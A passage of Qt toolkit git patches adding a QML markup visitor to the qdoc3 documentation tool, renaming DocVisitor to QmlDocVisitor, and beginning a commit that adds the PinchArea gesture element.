QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) +{ + write(""); + addVerbatim(statement->switchToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->block, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SwitchStatement *statement) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClauses *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) +{ + write(""); + addVerbatim(clause->caseToken); + QDeclarativeJS::AST::Node::accept(clause->expression, this); + addVerbatim(clause->colonToken); + QDeclarativeJS::AST::Node::accept(clause->statements, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) +{ + write(""); + addVerbatim(clause->defaultToken, clause->defaultToken); + addVerbatim(clause->colonToken, clause->colonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) +{ + write(""); + addVerbatim(statement->identifierToken); + addVerbatim(statement->colonToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) +{ + write(""); + addVerbatim(statement->throwToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->semicolonToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) +{ + write(""); + addVerbatim(c->catchToken, c->catchToken); + addVerbatim(c->lparenToken, c->lparenToken); + addVerbatim(c->identifierToken, c->identifierToken); + addVerbatim(c->rparenToken, c->rparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) +{ + write(""); + addVerbatim(f->finallyToken); + QDeclarativeJS::AST::Node::accept(f->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) +{ + write(""); + addVerbatim(statement->tryToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + QDeclarativeJS::AST::Node::accept(statement->catchExpression, this); + QDeclarativeJS::AST::Node::accept(statement->finallyExpression, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) +{ + write(""); + addVerbatim(expression->functionToken); + addVerbatim(expression->identifierToken); + addVerbatim(expression->lparenToken); + QDeclarativeJS::AST::Node::accept(expression->formals, this); + addVerbatim(expression->rparenToken); + addVerbatim(expression->lbraceToken); + QDeclarativeJS::AST::Node::accept(expression->body, this); + addVerbatim(expression->rbraceToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *expression) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) +{ + write(""); + addVerbatim(declaration->functionToken); + addVerbatim(declaration->identifierToken); + addVerbatim(declaration->lparenToken); + QDeclarativeJS::AST::Node::accept(declaration->formals, this); + addVerbatim(declaration->rparenToken); + addVerbatim(declaration->lbraceToken); + QDeclarativeJS::AST::Node::accept(declaration->body, this); + addVerbatim(declaration->rbraceToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) +{ + write(""); + addVerbatim(list->commaToken, list->commaToken); + addVerbatim(list->identifierToken, list->identifierToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionBody *body) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionBody *body) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) +{ + write(""); + addVerbatim(statement->debuggerToken); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DebuggerStatement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionSourceElement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionSourceElement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementSourceElement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImportList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImportList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectMemberList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectMemberList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormalList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormalList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Program *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Program *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SourceElements *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SourceElements *) +{ + endWrite(""); +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h new file mode 100644 index 0000000..86e1ac2 --- /dev/null +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -0,0 +1,338 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QMLVISITOR_H +#define QMLVISITOR_H + +#include +#include "private/qdeclarativejsastvisitor_p.h" +#include "node.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor +{ +public: + QmlMarkupVisitor(const QString &code, bool debug = false); + virtual ~QmlMarkupVisitor(); + + QString markedUpCode(); + + virtual bool visit(QDeclarativeJS::AST::UiProgram *); + virtual bool visit(QDeclarativeJS::AST::UiImportList *); + virtual bool visit(QDeclarativeJS::AST::UiImport *); + virtual bool visit(QDeclarativeJS::AST::UiPublicMember *); + virtual bool visit(QDeclarativeJS::AST::UiSourceElement *); + virtual bool visit(QDeclarativeJS::AST::UiObjectDefinition *); + virtual bool visit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual bool visit(QDeclarativeJS::AST::UiObjectBinding *); + virtual bool visit(QDeclarativeJS::AST::UiScriptBinding *); + virtual bool visit(QDeclarativeJS::AST::UiArrayBinding *); + virtual bool visit(QDeclarativeJS::AST::UiObjectMemberList *); + virtual bool visit(QDeclarativeJS::AST::UiArrayMemberList *); + virtual bool visit(QDeclarativeJS::AST::UiQualifiedId *); + virtual bool visit(QDeclarativeJS::AST::UiSignature *); + virtual bool visit(QDeclarativeJS::AST::UiFormalList *); + virtual bool visit(QDeclarativeJS::AST::UiFormal *); + + virtual void endVisit(QDeclarativeJS::AST::UiProgram *); + virtual void endVisit(QDeclarativeJS::AST::UiImportList *); + virtual void endVisit(QDeclarativeJS::AST::UiImport *); + virtual void endVisit(QDeclarativeJS::AST::UiPublicMember *); + virtual void endVisit(QDeclarativeJS::AST::UiSourceElement *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectDefinition *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectBinding *); + virtual void endVisit(QDeclarativeJS::AST::UiScriptBinding *); + virtual void endVisit(QDeclarativeJS::AST::UiArrayBinding *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectMemberList *); + virtual void endVisit(QDeclarativeJS::AST::UiArrayMemberList *); + virtual void endVisit(QDeclarativeJS::AST::UiQualifiedId *); + virtual void endVisit(QDeclarativeJS::AST::UiSignature *); + virtual void endVisit(QDeclarativeJS::AST::UiFormalList *); + virtual void endVisit(QDeclarativeJS::AST::UiFormal *); + + // QDeclarativeJS + virtual bool visit(QDeclarativeJS::AST::ThisExpression *); + virtual void endVisit(QDeclarativeJS::AST::ThisExpression *); + + virtual bool visit(QDeclarativeJS::AST::IdentifierExpression *); + virtual void endVisit(QDeclarativeJS::AST::IdentifierExpression *); + + virtual bool visit(QDeclarativeJS::AST::NullExpression *); + virtual void endVisit(QDeclarativeJS::AST::NullExpression *); + + virtual bool visit(QDeclarativeJS::AST::TrueLiteral *); + virtual void endVisit(QDeclarativeJS::AST::TrueLiteral *); + + virtual bool visit(QDeclarativeJS::AST::FalseLiteral *); + virtual void endVisit(QDeclarativeJS::AST::FalseLiteral *); + + virtual bool visit(QDeclarativeJS::AST::NumericLiteral *); + virtual void endVisit(QDeclarativeJS::AST::NumericLiteral *); + + virtual bool visit(QDeclarativeJS::AST::StringLiteral *); + virtual void endVisit(QDeclarativeJS::AST::StringLiteral *); + + virtual bool visit(QDeclarativeJS::AST::RegExpLiteral *); + virtual void endVisit(QDeclarativeJS::AST::RegExpLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ArrayLiteral *); + virtual void endVisit(QDeclarativeJS::AST::ArrayLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ObjectLiteral *); + virtual void endVisit(QDeclarativeJS::AST::ObjectLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ElementList *); + virtual void endVisit(QDeclarativeJS::AST::ElementList *); + + virtual bool visit(QDeclarativeJS::AST::Elision *); + virtual void endVisit(QDeclarativeJS::AST::Elision *); + + virtual bool visit(QDeclarativeJS::AST::PropertyNameAndValueList *); + virtual void endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *); + + virtual bool visit(QDeclarativeJS::AST::NestedExpression *); + virtual void endVisit(QDeclarativeJS::AST::NestedExpression *); + + virtual bool visit(QDeclarativeJS::AST::IdentifierPropertyName *); + virtual void endVisit(QDeclarativeJS::AST::IdentifierPropertyName *); + + virtual bool visit(QDeclarativeJS::AST::StringLiteralPropertyName *); + virtual void endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *); + + virtual bool visit(QDeclarativeJS::AST::NumericLiteralPropertyName *); + virtual void endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *); + + virtual bool visit(QDeclarativeJS::AST::ArrayMemberExpression *); + virtual void endVisit(QDeclarativeJS::AST::ArrayMemberExpression *); + + virtual bool visit(QDeclarativeJS::AST::FieldMemberExpression *); + virtual void endVisit(QDeclarativeJS::AST::FieldMemberExpression *); + + virtual bool visit(QDeclarativeJS::AST::NewMemberExpression *); + virtual void endVisit(QDeclarativeJS::AST::NewMemberExpression *); + + virtual bool visit(QDeclarativeJS::AST::NewExpression *); + virtual void endVisit(QDeclarativeJS::AST::NewExpression *); + + virtual bool visit(QDeclarativeJS::AST::CallExpression *); + virtual void endVisit(QDeclarativeJS::AST::CallExpression *); + + virtual bool visit(QDeclarativeJS::AST::ArgumentList *); + virtual void endVisit(QDeclarativeJS::AST::ArgumentList *); + + virtual bool visit(QDeclarativeJS::AST::PostIncrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PostIncrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::PostDecrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PostDecrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::DeleteExpression *); + virtual void endVisit(QDeclarativeJS::AST::DeleteExpression *); + + virtual bool visit(QDeclarativeJS::AST::VoidExpression *); + virtual void endVisit(QDeclarativeJS::AST::VoidExpression *); + + virtual bool visit(QDeclarativeJS::AST::TypeOfExpression *); + virtual void endVisit(QDeclarativeJS::AST::TypeOfExpression *); + + virtual bool visit(QDeclarativeJS::AST::PreIncrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PreIncrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::PreDecrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PreDecrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::UnaryPlusExpression *); + virtual void endVisit(QDeclarativeJS::AST::UnaryPlusExpression *); + + virtual bool visit(QDeclarativeJS::AST::UnaryMinusExpression *); + virtual void endVisit(QDeclarativeJS::AST::UnaryMinusExpression *); + + virtual bool visit(QDeclarativeJS::AST::TildeExpression *); + virtual void endVisit(QDeclarativeJS::AST::TildeExpression *); + + virtual bool visit(QDeclarativeJS::AST::NotExpression *); + virtual void endVisit(QDeclarativeJS::AST::NotExpression *); + + virtual bool visit(QDeclarativeJS::AST::BinaryExpression *); + virtual void endVisit(QDeclarativeJS::AST::BinaryExpression *); + + virtual bool visit(QDeclarativeJS::AST::ConditionalExpression *); + virtual void endVisit(QDeclarativeJS::AST::ConditionalExpression *); + + virtual bool visit(QDeclarativeJS::AST::Expression *); + virtual void endVisit(QDeclarativeJS::AST::Expression *); + + virtual bool visit(QDeclarativeJS::AST::Block *); + virtual void endVisit(QDeclarativeJS::AST::Block *); + + virtual bool visit(QDeclarativeJS::AST::StatementList *); + virtual void endVisit(QDeclarativeJS::AST::StatementList *); + + virtual bool visit(QDeclarativeJS::AST::VariableStatement *); + virtual void endVisit(QDeclarativeJS::AST::VariableStatement *); + + virtual bool visit(QDeclarativeJS::AST::VariableDeclarationList *); + virtual void endVisit(QDeclarativeJS::AST::VariableDeclarationList *); + + virtual bool visit(QDeclarativeJS::AST::VariableDeclaration *); + virtual void endVisit(QDeclarativeJS::AST::VariableDeclaration *); + + virtual bool visit(QDeclarativeJS::AST::EmptyStatement *); + virtual void endVisit(QDeclarativeJS::AST::EmptyStatement *); + + virtual bool visit(QDeclarativeJS::AST::ExpressionStatement *); + virtual void endVisit(QDeclarativeJS::AST::ExpressionStatement *); + + virtual bool visit(QDeclarativeJS::AST::IfStatement *); + virtual void endVisit(QDeclarativeJS::AST::IfStatement *); + + virtual bool visit(QDeclarativeJS::AST::DoWhileStatement *); + virtual void endVisit(QDeclarativeJS::AST::DoWhileStatement *); + + virtual bool visit(QDeclarativeJS::AST::WhileStatement *); + virtual void endVisit(QDeclarativeJS::AST::WhileStatement *); + + virtual bool visit(QDeclarativeJS::AST::ForStatement *); + virtual void endVisit(QDeclarativeJS::AST::ForStatement *); + + virtual bool visit(QDeclarativeJS::AST::LocalForStatement *); + virtual void endVisit(QDeclarativeJS::AST::LocalForStatement *); + + virtual bool visit(QDeclarativeJS::AST::ForEachStatement *); + virtual void endVisit(QDeclarativeJS::AST::ForEachStatement *); + + virtual bool visit(QDeclarativeJS::AST::LocalForEachStatement *); + virtual void endVisit(QDeclarativeJS::AST::LocalForEachStatement *); + + virtual bool visit(QDeclarativeJS::AST::ContinueStatement *); + virtual void endVisit(QDeclarativeJS::AST::ContinueStatement *); + + virtual bool visit(QDeclarativeJS::AST::BreakStatement *); + virtual void endVisit(QDeclarativeJS::AST::BreakStatement *); + + virtual bool visit(QDeclarativeJS::AST::ReturnStatement *); + virtual void endVisit(QDeclarativeJS::AST::ReturnStatement *); + + virtual bool visit(QDeclarativeJS::AST::WithStatement *); + virtual void endVisit(QDeclarativeJS::AST::WithStatement *); + + virtual bool visit(QDeclarativeJS::AST::CaseBlock *); + virtual void endVisit(QDeclarativeJS::AST::CaseBlock *); + + virtual bool visit(QDeclarativeJS::AST::SwitchStatement *); + virtual void endVisit(QDeclarativeJS::AST::SwitchStatement *); + + virtual bool visit(QDeclarativeJS::AST::CaseClauses *); + virtual void endVisit(QDeclarativeJS::AST::CaseClauses *); + + virtual bool visit(QDeclarativeJS::AST::CaseClause *); + virtual void endVisit(QDeclarativeJS::AST::CaseClause *); + + virtual bool visit(QDeclarativeJS::AST::DefaultClause *); + virtual void endVisit(QDeclarativeJS::AST::DefaultClause *); + + virtual bool visit(QDeclarativeJS::AST::LabelledStatement *); + virtual void endVisit(QDeclarativeJS::AST::LabelledStatement *); + + virtual bool visit(QDeclarativeJS::AST::ThrowStatement *); + virtual void endVisit(QDeclarativeJS::AST::ThrowStatement *); + + virtual bool visit(QDeclarativeJS::AST::TryStatement *); + virtual void endVisit(QDeclarativeJS::AST::TryStatement *); + + virtual bool visit(QDeclarativeJS::AST::Catch *); + virtual void endVisit(QDeclarativeJS::AST::Catch *); + + virtual bool visit(QDeclarativeJS::AST::Finally *); + virtual void endVisit(QDeclarativeJS::AST::Finally *); + + virtual bool visit(QDeclarativeJS::AST::FunctionDeclaration *); + virtual void endVisit(QDeclarativeJS::AST::FunctionDeclaration *); + + virtual bool visit(QDeclarativeJS::AST::FunctionExpression *); + virtual void endVisit(QDeclarativeJS::AST::FunctionExpression *); + + virtual bool visit(QDeclarativeJS::AST::FormalParameterList *); + virtual void endVisit(QDeclarativeJS::AST::FormalParameterList *); + + virtual bool visit(QDeclarativeJS::AST::FunctionBody *); + virtual void endVisit(QDeclarativeJS::AST::FunctionBody *); + + virtual bool visit(QDeclarativeJS::AST::Program *); + virtual void endVisit(QDeclarativeJS::AST::Program *); + + virtual bool visit(QDeclarativeJS::AST::SourceElements *); + virtual void endVisit(QDeclarativeJS::AST::SourceElements *); + + virtual bool visit(QDeclarativeJS::AST::FunctionSourceElement *); + virtual void endVisit(QDeclarativeJS::AST::FunctionSourceElement *); + + virtual bool visit(QDeclarativeJS::AST::StatementSourceElement *); + virtual void endVisit(QDeclarativeJS::AST::StatementSourceElement *); + + virtual bool visit(QDeclarativeJS::AST::DebuggerStatement *); + virtual void endVisit(QDeclarativeJS::AST::DebuggerStatement *); + + virtual bool visit(QDeclarativeJS::AST::UiParameterList *); + virtual void endVisit(QDeclarativeJS::AST::UiParameterList *); + +private: + void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, + const QString &text); + void addVerbatim(QDeclarativeJS::AST::SourceLocation first, + QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); + QString sourceText(QDeclarativeJS::AST::SourceLocation &location); + void write(const QString &text); + void endWrite(const QString &text); + + QString source; + QString output; + quint32 cursor; + int indent; + bool showDebug; +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp index 1d65c3d..9295624 100644 --- a/tools/qdoc3/qmlvisitor.cpp +++ b/tools/qdoc3/qmlvisitor.cpp @@ -42,15 +42,17 @@ #include #include #include -#include "parser/qmljsast_p.h" -#include "parser/qmljsastfwd_p.h" -#include "parser/qmljsengine_p.h" +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" #include "node.h" #include "qmlvisitor.h" -DocVisitor::DocVisitor(const QString &filePath, const QString &code, - QmlJS::Engine *engine, Tree *tree, QSet &commands) +QT_BEGIN_NAMESPACE + +QmlDocVisitor::QmlDocVisitor(const QString &filePath, const QString &code, + QDeclarativeJS::Engine *engine, Tree *tree, QSet &commands) { this->filePath = filePath; this->name = QFileInfo(filePath).baseName(); @@ -61,17 +63,17 @@ DocVisitor::DocVisitor(const QString &filePath, const QString &code, current = tree->root(); } -DocVisitor::~DocVisitor() +QmlDocVisitor::~QmlDocVisitor() { } -QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const +QDeclarativeJS::AST::SourceLocation QmlDocVisitor::precedingComment(unsigned offset) const { - QmlJS::AST::SourceLocation currentLoc; + QDeclarativeJS::AST::SourceLocation currentLoc; - foreach (const QmlJS::AST::SourceLocation &loc, engine->comments()) { + foreach (const QDeclarativeJS::AST::SourceLocation &loc, engine->comments()) { if (loc.begin() > lastEndOffset && loc.end() < offset) - currentLoc = loc; + currentLoc = loc; else break; } @@ -81,13 +83,13 @@ QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const return currentLoc; } - return QmlJS::AST::SourceLocation(); + return QDeclarativeJS::AST::SourceLocation(); } -void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, +void QmlDocVisitor::applyDocumentation(QDeclarativeJS::AST::SourceLocation location, Node *node) { - QmlJS::AST::SourceLocation loc = precedingComment(location.begin()); + QDeclarativeJS::AST::SourceLocation loc = precedingComment(location.begin()); if (loc.isValid()) { QString source = document.mid(loc.offset, loc.length); @@ -111,7 +113,7 @@ void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, /*! Visits element definitions, recording them in a tree structure. */ -bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QString type = definition->qualifiedTypeNameId->name->asString(); @@ -130,12 +132,12 @@ bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) return true; } -void DocVisitor::endVisit(QmlJS::AST::UiObjectDefinition *definition) +void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition) { lastEndOffset = definition->lastSourceLocation().end(); } -bool DocVisitor::visit(QmlJS::AST::UiImportList *imports) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiImportList *imports) { // Note that the imports list can be traversed by iteration to obtain // all the imports in the document at once, having found just one: @@ -154,10 +156,10 @@ bool DocVisitor::visit(QmlJS::AST::UiImportList *imports) Visits public member declarations, such as signals and properties. These only include custom signals and properties. */ -bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) { switch (member->type) { - case QmlJS::AST::UiPublicMember::Signal: + case QDeclarativeJS::AST::UiPublicMember::Signal: { if (current->type() == Node::Fake) { QmlClassNode *qmlClass = static_cast(current); @@ -167,7 +169,7 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) FunctionNode *qmlSignal = new FunctionNode(Node::QmlSignal, current, name, false); QList parameters; - for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { + for (QDeclarativeJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { if (it->type && it->name) parameters.append(Parameter(it->type->asString(), "", it->name->asString())); } @@ -178,7 +180,7 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) } break; } - case QmlJS::AST::UiPublicMember::Property: + case QDeclarativeJS::AST::UiPublicMember::Property: { QString type = member->memberType->asString(); QString name = member->name->asString(); @@ -206,12 +208,14 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) return true; } -void DocVisitor::endVisit(QmlJS::AST::UiPublicMember *definition) +void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *definition) { lastEndOffset = definition->lastSourceLocation().end(); } -bool DocVisitor::visit(QmlJS::AST::IdentifierPropertyName *idproperty) +bool QmlDocVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty) { return true; } + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlvisitor.h b/tools/qdoc3/qmlvisitor.h index a830793..c7b4bda 100644 --- a/tools/qdoc3/qmlvisitor.h +++ b/tools/qdoc3/qmlvisitor.h @@ -39,36 +39,38 @@ ** ****************************************************************************/ -#ifndef DOCVISITOR_H -#define DOCVISITOR_H +#ifndef QMLVISITOR_H +#define QMLVISITOR_H #include -#include "parser/qmljsastvisitor_p.h" +#include "private/qdeclarativejsastvisitor_p.h" #include "node.h" #include "tree.h" -class DocVisitor : public QmlJS::AST::Visitor +QT_BEGIN_NAMESPACE + +class QmlDocVisitor : public QDeclarativeJS::AST::Visitor { public: - DocVisitor(const QString &filePath, const QString &code, - QmlJS::Engine *engine, Tree *tree, QSet &commands); - virtual ~DocVisitor(); + QmlDocVisitor(const QString &filePath, const QString &code, + QDeclarativeJS::Engine *engine, Tree *tree, QSet &commands); + virtual ~QmlDocVisitor(); - bool visit(QmlJS::AST::UiImportList *imports); + bool visit(QDeclarativeJS::AST::UiImportList *imports); - bool visit(QmlJS::AST::UiObjectDefinition *definition); - void endVisit(QmlJS::AST::UiObjectDefinition *definition); + bool visit(QDeclarativeJS::AST::UiObjectDefinition *definition); + void endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition); - bool visit(QmlJS::AST::UiPublicMember *member); - void endVisit(QmlJS::AST::UiPublicMember *definition); + bool visit(QDeclarativeJS::AST::UiPublicMember *member); + void endVisit(QDeclarativeJS::AST::UiPublicMember *definition); - bool visit(QmlJS::AST::IdentifierPropertyName *idproperty); + bool visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty); private: - QmlJS::AST::SourceLocation precedingComment(unsigned offset) const; - void applyDocumentation(QmlJS::AST::SourceLocation location, Node *node); + QDeclarativeJS::AST::SourceLocation precedingComment(unsigned offset) const; + void applyDocumentation(QDeclarativeJS::AST::SourceLocation location, Node *node); - QmlJS::Engine *engine; + QDeclarativeJS::Engine *engine; quint32 lastEndOffset; QString filePath; QString name; @@ -79,4 +81,6 @@ private: InnerNode *current; }; +QT_END_NAMESPACE + #endif -- cgit v0.12 From 940856ee20287ce0a61cfaf46012dd5509f857b5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Nov 2010 09:10:08 +1000 Subject: Add PinchArea. Provides two finger gestures: zoom, rotate, pan. Task-number: QTBUG-15491 Reviewed-by: Aaron Kennedy --- src/declarative/graphicsitems/graphicsitems.pri | 7 +- .../graphicsitems/qdeclarativeitemsmodule.cpp | 4 + .../graphicsitems/qdeclarativepincharea.cpp | 579 +++++++++++++++++++++ .../graphicsitems/qdeclarativepincharea_p.h | 308 +++++++++++ .../graphicsitems/qdeclarativepincharea_p_p.h | 109 ++++ .../qdeclarativepincharea/data/pinchproperties.qml | 46 ++ .../qdeclarativepincharea.pro | 16 + .../tst_qdeclarativepincharea.cpp | 315 +++++++++++ 8 files changed, 1382 insertions(+), 2 deletions(-) create mode 100644 src/declarative/graphicsitems/qdeclarativepincharea.cpp create mode 100644 src/declarative/graphicsitems/qdeclarativepincharea_p.h create mode 100644 src/declarative/graphicsitems/qdeclarativepincharea_p_p.h create mode 100644 tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml create mode 100644 tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro create mode 100644 tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri index ffdeb29..2cd3323 100644 --- a/src/declarative/graphicsitems/graphicsitems.pri +++ b/src/declarative/graphicsitems/graphicsitems.pri @@ -50,7 +50,9 @@ HEADERS += \ $$PWD/qdeclarativelayoutitem_p.h \ $$PWD/qdeclarativeitemchangelistener_p.h \ $$PWD/qdeclarativegraphicswidget_p.h \ - $$PWD/qdeclarativetextlayout_p.h + $$PWD/qdeclarativetextlayout_p.h \ + $$PWD/qdeclarativepincharea_p.h \ + $$PWD/qdeclarativepincharea_p_p.h SOURCES += \ $$PWD/qdeclarativeitemsmodule.cpp \ @@ -83,5 +85,6 @@ SOURCES += \ $$PWD/qdeclarativelistview.cpp \ $$PWD/qdeclarativelayoutitem.cpp \ $$PWD/qdeclarativegraphicswidget.cpp \ - $$PWD/qdeclarativetextlayout.cpp + $$PWD/qdeclarativetextlayout.cpp \ + $$PWD/qdeclarativepincharea.cpp diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 52703c2..a462763 100644 --- 